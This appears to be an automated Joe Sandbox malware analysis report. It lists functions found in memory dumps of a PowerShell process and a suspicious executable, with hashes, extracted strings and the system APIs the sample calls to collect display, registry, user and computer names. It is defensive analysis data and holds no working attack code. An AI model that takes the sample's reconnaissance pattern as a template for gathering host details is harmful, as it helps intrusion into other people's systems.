Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64859746a15ba3485339233e27432fa1ecc0e594e46b717ef576e3c9b36e1d47
Instruction ID: 289076ec821922004b7f6a5c60c319e1ac0310f7309551362233cfc83c3e11e1
Opcode Fuzzy Hash: 64859746a15ba3485339233e27432fa1ecc0e594e46b717ef576e3c9b36e1d47
Instruction Fuzzy Hash: E2F0E531706A909BC317562D6C05CDE7FAACEC212430541AED446DB652CE65E80A87E2

Function 04EF7697 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5a337d4bafae1e6ff1766c8f4780d239b8dbae211ff1c659780d5beb81208eb
Instruction ID: 3c718fc2e8e5484d023e5bd730d81ebfdad7c9d5b4348259734a180f687d5925
Opcode Fuzzy Hash: c5a337d4bafae1e6ff1766c8f4780d239b8dbae211ff1c659780d5beb81208eb
Instruction Fuzzy Hash: 88F0A0797001088FCB00EB6DA840A9A7BF6EBC82597064599E909CB324DF34EC028BA1

Function 04EF90F8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8889b1aaa464105d4386f602f1165842faa7e6af9bb6b875462ea53dfcd4be06
Instruction ID: 3d12c2996c0938a951f7185387e2c5c3d580832e42c514dc1d05992e5516d710
Opcode Fuzzy Hash: 8889b1aaa464105d4386f602f1165842faa7e6af9bb6b875462ea53dfcd4be06
Instruction Fuzzy Hash: 76F082757046044BE754BBA9D01979B7796EBC4318F14816AC90A57399CE3E6805CBE0

Function 04EF9168 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac39c9c08296b30879b07e5d6aab8aef391afb177ac3069f982867988d9ddcaa
Instruction ID: 5fe9f285ea623e22b9320b36ff4b11317e0fce68a62231296abaf5b06192133d
Opcode Fuzzy Hash: ac39c9c08296b30879b07e5d6aab8aef391afb177ac3069f982867988d9ddcaa
Instruction Fuzzy Hash: 08F05E7060A3508FD7669BB8D4D83DA7FA0EF46310F0508AED59ED7682CB792989C750

Function 04EFE090 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00df5fe36382474ee178f3019c4aa5b152b6a8cdcb666e75c2e539b1fa8d6a2d
Instruction ID: a170598848057fcdd1df2542b1bcff812888589ba8037745f6807b7696555a67
Opcode Fuzzy Hash: 00df5fe36382474ee178f3019c4aa5b152b6a8cdcb666e75c2e539b1fa8d6a2d
Instruction Fuzzy Hash: 8CE012357001118FC7109F1DD855C26B7FAEFCE71531510AAE545DB735DA61FC018B94

Function 04EF9552 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc7cb5a63f39479c880f3b4a918bd22785f5f8cba3afcd02639a0f555fc67483
Instruction ID: 3b9e26592f20e4d8e3f7b6f92890d3cfdbfcdcff9ffecacf88f6bec9d3401642
Opcode Fuzzy Hash: cc7cb5a63f39479c880f3b4a918bd22785f5f8cba3afcd02639a0f555fc67483
Instruction Fuzzy Hash: 81E0D82170A3D20BAB13B2BC2C102BE6FDA4FC605871910FECA84CB243D945EC0683B2

Function 04EFDF20 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6bc8454d17b4abd49da7403d8d5b16e19c108648159feb016e83fdee24403e3
Instruction ID: 716ef6502fe340e5d0930c441bfbb04bd3e7c1f7ef6699d332ac480b9103b431
Opcode Fuzzy Hash: c6bc8454d17b4abd49da7403d8d5b16e19c108648159feb016e83fdee24403e3
Instruction Fuzzy Hash: DCE02B31F05A80EBC718866CD8418E8BFB1DFC8220F0584BEDD86AB721D972691EC791

Function 04EF896A Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34ed8b8e216dabd165e495658ad8e9c117a31cf531f45b8c0f086e646a17a1fb
Instruction ID: ba6876b003c6dd569d19340f038cff89ebeb1e5c1b40227dce046f2a8b8aa84c
Opcode Fuzzy Hash: 34ed8b8e216dabd165e495658ad8e9c117a31cf531f45b8c0f086e646a17a1fb
Instruction Fuzzy Hash: 35F0EC3070E6914FC70637B894585EE3F61EBC1225F09016FD60BCB283CF68080587D1

Function 04EFF620 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e122f4d2012cfe8a7f343fe43118138f886de995ea856abafda4092f1ebde31
Instruction ID: 787b098dfff7c9307768cc20d0016ab79ad1a048fc69ab90619528073749adb8
Opcode Fuzzy Hash: 6e122f4d2012cfe8a7f343fe43118138f886de995ea856abafda4092f1ebde31
Instruction Fuzzy Hash: D9F0A770D042869EC751DFFD884515AFFE09F0A114B2482EFC944DB242FE719502C7D2

Function 04EF9178 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b57fa5f4c9da43e60555d07ec4b5dff0b1410f577b0179dff4fc69feea522e84
Instruction ID: 01f37818e5472af801db7bdf35abac274b07013f04770f7fee035cbb18841512
Opcode Fuzzy Hash: b57fa5f4c9da43e60555d07ec4b5dff0b1410f577b0179dff4fc69feea522e84
Instruction Fuzzy Hash: B6F06D70A053044BD364AFB8D89C39A7BE5FB44310F00442DD64EC3240DB3968808B90

Function 04EFAF98 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a41f5a1dc69b4acd062e7bc62984bd04ba2d03df091f4353a5298fd27220568b
Instruction ID: 124597f2b5de928fa4d67b61170ad74491eb9f50f2ce6a1dfcabba2119adeec0
Opcode Fuzzy Hash: a41f5a1dc69b4acd062e7bc62984bd04ba2d03df091f4353a5298fd27220568b
Instruction Fuzzy Hash: CEE0CD2675E3D50F5717513E68204AA3FA78BC712030E84FED588CF212CC514C0A4351

Function 04EF8978 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a021245332bb9349f1f6d9c888b27dd155c3a298d66b94e9d0512184d3c06344
Instruction ID: ce1edd6f0c3cc9c01c546bd83d730378a91f04d68c74eaec37ce9c3044367dd2
Opcode Fuzzy Hash: a021245332bb9349f1f6d9c888b27dd155c3a298d66b94e9d0512184d3c06344
Instruction Fuzzy Hash: 30E0263170961047CB0837B8A80C2AE7A96FBC4725F04002EDA0B83342CF78281183E5

Function 04EF9560 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56a57ea50d2f516570b3e2e36163cbbb520b52640527a8f453a82bec04d7eee1
Instruction ID: 78ad544638a0cefc1f4cc4f57d3b9c428d3eeb7faad62c7f4e579f3ec5003900
Opcode Fuzzy Hash: 56a57ea50d2f516570b3e2e36163cbbb520b52640527a8f453a82bec04d7eee1
Instruction Fuzzy Hash: 3DD0A712701226073A5472FE2C0077BA5CF9FC44A970510769B48C3342FE48FC0243F1

Function 04EFDEE0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2661c30b6a6b244a67cc0f8c194d280e3c975a6e85b2800953b76fa490f9e26f
Instruction ID: 9d3c1553f086a7678a32fbfb3008e98c1ce1005750cfdc1e2b541faecd68736e
Opcode Fuzzy Hash: 2661c30b6a6b244a67cc0f8c194d280e3c975a6e85b2800953b76fa490f9e26f
Instruction Fuzzy Hash: 76E0C231701A141782296A5EAC00C9FBBEEDFC5675310403EE10AC7384DE64FD0587E5

Function 04EFDF30 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: b2638daad95a4c3d2245b196cb30c0c881ed89d4ea4eb7410d59d0376c112fb4
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: E3E08631B0011497CB08959DD8504D9FBA5DBCC220F04C47ADE0AA7750EA32791A86E1

Function 04EF8800 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 966f16f5cf8c7315b601919da1c56da275ed3dc82a174067f57d1c3d23542bc0
Instruction ID: 3b2b9fffb390b582f10936af13ae285dbaf23678f2521072266f33bf0470d984
Opcode Fuzzy Hash: 966f16f5cf8c7315b601919da1c56da275ed3dc82a174067f57d1c3d23542bc0
Instruction Fuzzy Hash: A1E0D830A1D28ACBCB05EBA8D4464ADBFB0EB45204B0001ADD94AD7603D7315449CF81

Function 04EF8739 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1567cb2e869f60515f6649b626cee87df6bbf042a539122a0f1eaa1070ce5bc6
Instruction ID: 8b0a56b21ab05bed448b8c2258097e5eae799a95635a92f7d7d6e5f78162a6b9
Opcode Fuzzy Hash: 1567cb2e869f60515f6649b626cee87df6bbf042a539122a0f1eaa1070ce5bc6
Instruction Fuzzy Hash: 7AE08631E1A146CBCB0DBBA4D95A4FDBF30FE15301B41059DD99352591EB715A4ECB80

Function 04EFF630 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 708782ebd0ce472bb6979111fa1c0a9ec426172bf36d1ec8807e74be7d700642
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: F0D062B0D042099F8780DFADC94156DFBF4EF49204F5085BA8919D7311F7315A128BD1

Function 04EF8748 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 156791aa560f69a234c18436487d47f0b4659110a7bc33c80a1191304db209e3
Instruction ID: 6483ad8a5fcb2f7c6bbf79fa816affbe76943d48ad42dd1727c336e5d8a1cb56
Opcode Fuzzy Hash: 156791aa560f69a234c18436487d47f0b4659110a7bc33c80a1191304db209e3
Instruction Fuzzy Hash: A5D067319191098BCB0CBBA5E85A4BDBB74FB14301F40416DDA1792291EB316A5ACAC5

Function 04EF8810 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ae1a5edd68113468ef655596c689af38e6e6836e373b3f9e64a042d6f2f2497
Instruction ID: 25488853473f988703d5b65182b27d0d6527e2428c412c1ea21013bbdd286b76
Opcode Fuzzy Hash: 9ae1a5edd68113468ef655596c689af38e6e6836e373b3f9e64a042d6f2f2497
Instruction Fuzzy Hash: 73D01734A1920E8BCB48EFA4E84686EBBB4EB44200F004169DA0A93741EB306811CBC1

Function 04EF7932 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab7d3b599aa9d8ab89ca81b1a728faf62252977d04482b16c9ef39bc60b8eb57
Instruction ID: 4590c8ffcb663299fe2b38114c4ef778f9668e5fc70f2d8b4a33a3dbdc65bd0d
Opcode Fuzzy Hash: ab7d3b599aa9d8ab89ca81b1a728faf62252977d04482b16c9ef39bc60b8eb57
Instruction Fuzzy Hash: CBD0923844E7C49FC7168B7895968183F605E0312830905DED8869F2B7CA76C849CB16

Function 04EF7EA0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 452dbca00520e635b59c845ea654b75d539d2ac244ee90156a6f84c3ad75b138
Instruction ID: 5b4ddfbce53457251d9b674b02c6019daf848e660617a72c77db7e0a5256a695
Opcode Fuzzy Hash: 452dbca00520e635b59c845ea654b75d539d2ac244ee90156a6f84c3ad75b138
Instruction Fuzzy Hash: 9FC08C1440F3C08FDF0A8B34493A8063F321E8320834B40DFC082CB872CA248809EB02

Function 04EF7940 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58fb756577b71de27cbfa2a4b2d2350dc10e8a7e3b00ce2ddd06197ac196d33c
Instruction ID: b72065607ac963a4f3b88bbcc045fe1659f04420a0623a5d471681fdca27fc3d
Opcode Fuzzy Hash: 58fb756577b71de27cbfa2a4b2d2350dc10e8a7e3b00ce2ddd06197ac196d33c
Instruction Fuzzy Hash: 22B092300447088FC3486F75A504C28732DAF4021538004A8E80E0B3A78F36EC84CA44

Non-executed Functions

Function 07CE2AD8 Relevance: 12.8, Strings: 10, Instructions: 268COMMON

Download Yara Rule

Strings

$jq, xrefs: 07CE2CE0
dk, xrefs: 07CE2D8F
dk, xrefs: 07CE2D9D
#^j, xrefs: 07CE2BA7
$jq, xrefs: 07CE2CEC
4'jq, xrefs: 07CE2BE7
tPjq, xrefs: 07CE2D25
tPjq, xrefs: 07CE2D31
4'jq, xrefs: 07CE2BDB
$jq, xrefs: 07CE2CBA

Memory Dump Source

Source File: 00000004.00000002.2161370987.0000000007CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ce0000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$tPjq$tPjq$#^j$$jq$$jq$$jq$dk$dk
API String ID: 0-95039864
Opcode ID: 5f541d66d9fcde9c3b12bb4a3de4d2873afd0bd9edeb3c2c171ebd2e2843af14
Instruction ID: c5eed991ea614585361f7be1502f6183f13e20ee356c76aed4ed833ea823c8e8
Opcode Fuzzy Hash: 5f541d66d9fcde9c3b12bb4a3de4d2873afd0bd9edeb3c2c171ebd2e2843af14
Instruction Fuzzy Hash: E6815AB27087068FD7148F39D85076ABBADFF85710F1484ABD945CB291DA35CE42C7A1

Function 07CE0568 Relevance: 9.2, Strings: 7, Instructions: 410COMMON

Download Yara Rule

Strings

foq, xrefs: 07CE094B
4'jq, xrefs: 07CE0962
4'jq, xrefs: 07CE096E
rnk, xrefs: 07CE0935
rnk, xrefs: 07CE092B
4'jq, xrefs: 07CE05EC
4'jq, xrefs: 07CE05F6

Memory Dump Source

Source File: 00000004.00000002.2161370987.0000000007CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ce0000_powershell.jbxd

Similarity

API ID:
String ID: foq$4'jq$4'jq$4'jq$4'jq$rnk$rnk
API String ID: 0-1611023007
Opcode ID: 3e1379f823124a50d9060aa889366aa54274346d19d07e9e779e8d5656cf6fab
Instruction ID: 4b292b50b4a396286898411ba03b8d61df2f12bb2aec8809745ecd9145621e4f
Opcode Fuzzy Hash: 3e1379f823124a50d9060aa889366aa54274346d19d07e9e779e8d5656cf6fab
Instruction Fuzzy Hash: 0FD167B17042468FC7159B7898107AABFAAEFC2310F24C0BBD545CB292CA758D86C7E1

Function 04EF7A21 Relevance: 6.5, Strings: 5, Instructions: 241COMMON

Download Yara Rule

Strings

`kq, xrefs: 04EF7CC2
`kq, xrefs: 04EF7C44
`kq, xrefs: 04EF7B23
`kq, xrefs: 04EF7BA2
tMnk, xrefs: 04EF7AD4

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: tMnk$`kq$`kq$`kq$`kq
API String ID: 0-2490967775
Opcode ID: d34df0b3ba74e00519f971d4fab978d44f878fd36fa02738f2deada44113572f
Instruction ID: e91ad70d519bd9e31b3f906d9e451a610bce28d531e78df659203deba03dc082
Opcode Fuzzy Hash: d34df0b3ba74e00519f971d4fab978d44f878fd36fa02738f2deada44113572f
Instruction Fuzzy Hash: 52B19574E012099FDB54DFA9D980A9EFBF6FF88304F108629D819AB355DB34A905CF90

Function 04EF7A30 Relevance: 6.5, Strings: 5, Instructions: 234COMMON

Download Yara Rule

Strings

`kq, xrefs: 04EF7CC2
`kq, xrefs: 04EF7C44
`kq, xrefs: 04EF7B23
`kq, xrefs: 04EF7BA2
tMnk, xrefs: 04EF7AD4

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: tMnk$`kq$`kq$`kq$`kq
API String ID: 0-2490967775
Opcode ID: 78ae5472f0b1c2a16fb5e93166e56b251614cf52a87058027ef2bc40799bf2f1
Instruction ID: 0cdc0f518acd91ee7a8c21f238553b5ca191b78b700e5d8f7415532e4cbd3a3b
Opcode Fuzzy Hash: 78ae5472f0b1c2a16fb5e93166e56b251614cf52a87058027ef2bc40799bf2f1
Instruction Fuzzy Hash: EBB19674E012099FDB54DFA9D980A9EFBF6FF88304F108629D819AB355DB34A905CF90

Function 07CE37F0 Relevance: 6.3, Strings: 5, Instructions: 71COMMON

Download Yara Rule

Strings

$jq, xrefs: 07CE3836
dk, xrefs: 07CE387B
$jq, xrefs: 07CE382A
dk, xrefs: 07CE386D
$jq, xrefs: 07CE37FF

Memory Dump Source

Source File: 00000004.00000002.2161370987.0000000007CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ce0000_powershell.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$dk$dk
API String ID: 0-1578725869
Opcode ID: 6b5d1de74242e3e3dae8f4c3d915ff1548430f22e3ddb6ea0cde50aeb9f1c8c5
Instruction ID: de779ffb6593266b9ede4dbacb37cf896b5fb7141e1f16f3cd73ea2aaf771259
Opcode Fuzzy Hash: 6b5d1de74242e3e3dae8f4c3d915ff1548430f22e3ddb6ea0cde50aeb9f1c8c5
Instruction Fuzzy Hash: 1411E9B13443869BEB38491E9854767BBAFEFC1721F24C02BE84587291CA35E945C751

Function 07CE5798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$jq, xrefs: 07CE5800
$jq, xrefs: 07CE57C6
$jq, xrefs: 07CE57AA
$jq, xrefs: 07CE57F4

Memory Dump Source

Source File: 00000004.00000002.2161370987.0000000007CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ce0000_powershell.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq
API String ID: 0-2428501249
Opcode ID: 30d7ef015f0ffad7801c91a78977751fe367b7e317d614773718232e0d253d72
Instruction ID: 3b3b7ed5da040e85daeb5da29a113d763150ea72b650ffbc32f427049062f46d
Opcode Fuzzy Hash: 30d7ef015f0ffad7801c91a78977751fe367b7e317d614773718232e0d253d72
Instruction Fuzzy Hash: 7A2107B27543029FDB34996AAC807277BDFEBC1719F24803AD905DB281DD75C9518361

Function 07CE22E8 Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

Jok, xrefs: 07CE237F
Jok, xrefs: 07CE23C5
pi6j, xrefs: 07CE23A0
pi6j, xrefs: 07CE2363

Memory Dump Source

Source File: 00000004.00000002.2161370987.0000000007CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ce0000_powershell.jbxd

Similarity

API ID:
String ID: pi6j$pi6j$Jok$Jok
API String ID: 0-4123539841
Opcode ID: ce03d1aa2eb208bb354c107378ca256bb342f5d2200bdb1bf8883b6c782a76b1
Instruction ID: 07f54fae40523ca94d45aa9e09d4df84c50abfe57d731f1b15ed60642c55b962
Opcode Fuzzy Hash: ce03d1aa2eb208bb354c107378ca256bb342f5d2200bdb1bf8883b6c782a76b1
Instruction Fuzzy Hash: 8031D5F5904746DFDB21CF26D5847AABBBDBF02211F0880AAD8548B151D739DA84CFA2

Function 07CE0308 Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

4'jq, xrefs: 07CE0373
$jq, xrefs: 07CE035E
4'jq, xrefs: 07CE037F
$jq, xrefs: 07CE0352

Memory Dump Source

Source File: 00000004.00000002.2161370987.0000000007CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ce0000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$$jq$$jq
API String ID: 0-1496060811
Opcode ID: b78b0364fa8fac0ebbce421d940464fe4b94628a1b26f05a036e689de596bf66
Instruction ID: 1a5e556fc35b4105c2a2821e804d3a2e864a03f79e929aa200c75b3ba63a5cb7
Opcode Fuzzy Hash: b78b0364fa8fac0ebbce421d940464fe4b94628a1b26f05a036e689de596bf66
Instruction Fuzzy Hash: 0301F26134E3918FC72B522868201AAAFB79F8315073941DBC880DF2D7CD684D4A8BB3

Function 07CE2108 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

$jq, xrefs: 07CE2166
$jq, xrefs: 07CE2172
Jok, xrefs: 07CE214A
Jok, xrefs: 07CE2156

Memory Dump Source

Source File: 00000004.00000002.2161370987.0000000007CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ce0000_powershell.jbxd

Similarity

API ID:
String ID: $jq$$jq$Jok$Jok
API String ID: 0-975260283
Opcode ID: 5b7932b3d755d573a274f75ef3da36a6168585f73b18b840f8d8e87f0f17f451
Instruction ID: d0ace1c1ecc82d4ed35409912de200c04b374bc1d5ca83fed2cc77561d2695a7
Opcode Fuzzy Hash: 5b7932b3d755d573a274f75ef3da36a6168585f73b18b840f8d8e87f0f17f451
Instruction Fuzzy Hash: D501D4A528D7C14FC32346295C5029B6F6FAF8355071A41DBC580DF26BC9694E09C363

Function 07CE1FBB Relevance: 5.0, Strings: 4, Instructions: 39COMMON

Download Yara Rule

Strings

Jok, xrefs: 07CE200B
tPjq, xrefs: 07CE1FDF
tPjq, xrefs: 07CE1FEB
Jok, xrefs: 07CE2017

Memory Dump Source

Source File: 00000004.00000002.2161370987.0000000007CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ce0000_powershell.jbxd

Similarity

API ID:
String ID: tPjq$tPjq$Jok$Jok
API String ID: 0-2251078300
Opcode ID: 3e3a3c88d380cef8f8aeb878f4df52ae70198f267f1063822d40f6de7b2f7a6b
Instruction ID: e430f11ac3a1e2ec3e45b96cb3e541e9b409944419a758cfe2f796dec855ea00
Opcode Fuzzy Hash: 3e3a3c88d380cef8f8aeb878f4df52ae70198f267f1063822d40f6de7b2f7a6b
Instruction Fuzzy Hash: 66F0C8B2B8010A9BD6208A869851B77F76EEB95710F184056DA019F2C5CB72CD41C3E1

Analysis Process: xdnfl52f.civ.exePID: 7512, Parent PID: 1848COMMON

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.6%
Total number of Nodes:	1835
Total number of Limit Nodes:	111

Executed Functions

Function 00007FF75A6F8330 Relevance: 50.4, APIs: 19, Strings: 9, Instructions: 1376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75A6F6540: EnumDisplayDevicesW.USER32 ref: 00007FF75A6F6657
Part of subcall function 00007FF75A6F6540: EnumDisplayDevicesW.USER32 ref: 00007FF75A6F66FB

Part of subcall function 00007FF75A6F6460: RegGetValueA.KERNEL32 ref: 00007FF75A6F64C9

Part of subcall function 00007FF75A6F6150: GetUserNameW.ADVAPI32 ref: 00007FF75A6F6195

Part of subcall function 00007FF75A6F61F0: GetComputerNameW.KERNEL32 ref: 00007FF75A6F6235

